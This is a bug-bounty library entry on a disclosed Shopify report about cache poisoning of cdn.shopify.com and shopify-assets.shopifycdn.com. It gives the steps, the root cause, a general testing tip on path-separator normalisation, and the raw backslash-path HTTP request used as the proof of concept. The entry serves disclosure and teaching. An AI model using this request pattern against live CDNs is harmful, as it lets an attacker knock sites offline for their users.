# DoS Vulnerability via Cache Poisoning on cdn.shopify.com and shopify-assets.shopifycdn.com

CDN cache normalized backslashes to forward slashes while origin returned 404, letting an attacker poison cached JS asset paths and DoS Shopify sites.

- Payout: $3,800
- Severity: medium
- Program: Shopify
- Found by: bassem_sadaqah
- Disclosed: 2025-06-04
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/1695604
- Library page: https://bugbountylibrary.com/r/h1%3A1695604
- Tags: area:cloud domain:infra domain:web impact:dos kind:bounty platform:hackerone sev:medium tech:cdn technique:parser-differential vuln:cache-poisoning vuln:dos

**Target:** cdn.shopify.com and shopify-assets.shopifycdn.com CDN cache
**Root cause:** Cache server treated backslash as equivalent to forward slash when computing cache keys, but the origin server returned 404 for paths containing backslashes, so a 404 could be cached under the legitimate asset's key.
**Steps:**
1. Request a valid asset e.g. `GET /static/javascripts/vendor/bugsnag.v7.4.0.min.js?cachebuster=123`
2. Replace slashes with backslashes: `GET /static\javascripts\vendor\bugsnag.v7.4.0.min.js?cachebuster=123`
3. Origin returns 404 but cache key matches the forward-slash URL
4. Repeat request (Repeater/Intruder) until the 404 is cached
5. Fetch the normal URL `https://cdn.shopify.com/static/javascripts/vendor/bugsnag.v7.4.0.min.js?cachebuster=123` and observe cached 404
**How found:** Noticed cache server treats backslash as forward slash while origin returns 404 for backslash paths, hypothesizing the two URLs share a cache key.
**Exploitation:** Attacker sends backslash-path requests repeatedly to force the CDN to cache 404 responses under legitimate asset cache keys; subsequent user requests for those JS/static files receive 404, breaking Shopify storefronts and accounts.shopify.com.
**Escalation:** Same technique applied to shopify-assets.shopifycdn.com affecting accounts.shopify.com and other Shopify properties.
**Insight:** When testing CDN caching, compare how the edge and origin normalize path separators (backslash vs forward slash) — a normalization mismatch lets you cache error responses under valid asset keys.

## Proof of concept (copied exactly from the original report)

**Malformed backslash request with cache buster**

```
GET /static\javascripts\vendor\bugsnag.v7.4.0.min.js?cachebuster=123 HTTP/1.1
Host: cdn.shopify.com
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
```

